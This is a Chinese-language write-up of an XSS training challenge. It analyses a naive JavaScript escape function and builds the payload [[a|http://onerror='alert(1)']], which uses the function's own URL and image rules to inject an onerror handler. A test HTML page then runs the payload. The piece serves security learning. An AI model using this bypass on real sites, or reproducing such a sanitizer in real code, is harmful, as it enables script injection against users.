吃過晚飯,再練一題 第五題 分析: 技術點:正則表達式,html鏈接,img標簽使用 正則表達式: 第2行:替換s中所有的<和",用html編碼表示,點擊查看 HTML編碼表 正則表達式 g 代表全局模式,javascript replace 用法如下 第4行:將http://xx形式的內容替換成< ...
吃過晚飯,再練一題
第五題
1 function escape(s) { 2 var text = s.replace(/</g, '<').replace(/"/g, '"'); 3 // URLs 4 text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>'); 5 // [[img123|Description]] 6 text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">'); 7 return text; 8 }
分析:
技術點:正則表達式,html鏈接,img標簽使用
正則表達式:
第2行:替換s中所有的<和",用html編碼表示,點擊查看 HTML編碼表
正則表達式 g 代表全局模式,javascript replace 用法如下
str.replace(regexp|substr, newSubstr|function)
第4行:將http://xx形式的內容替換成<a href="http://xx">xx</a>的形式
() 是為了提取匹配的字元串。表達式中有幾個()就有幾個相應的匹配字元串。
第6行:輸入類似於
[[img123|Description]] 形式。
TRY:
1. 構造第三部的滿足彈出alert(1)的s
成功的彈出img語句應該是
<img alt="b" onerror="alert(1)" src="a.gif"> OK! 載入a.gif失敗,啟動onerror的alert(1),成功達到目的。
2. 因為全局都將 " 替換了,所以不能用 " 閉合,所以要利用第4句構造滿足的句子。
逆推一下,"b" onerror="alert(1)" 應該是一體的,轉換一下,"b" onerror='alert(1)' 去掉兩個雙引號,現在b之後的雙引號也不是我們輸入的,然後成為 "b onerror='alert(1)'",但是b之後的 " 還必須有,那麼必然是第4行提供的,哪裡提供呢?
<a href="$1">$1</a> 替換 $1,即 $1就是b,所以又變為 http://onerror='alert(1)'。
3. 兩者想合,構造 [[a|http://onerror='alert(1)']]
html渲染:
<!DOCTYPE html> <html> <head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> </head> <body> <script type="text/javascript"> function escape(s) { var text = s.replace(/</g, '<').replace(/"/g, '"'); // URLs text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>'); // [[img123|Description]] text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">'); return text; } var inputStr = "[[a|http://onerror='alert(1)']]"; var ok = escape(inputStr); document.write(ok); </script> </body> </html>
效果: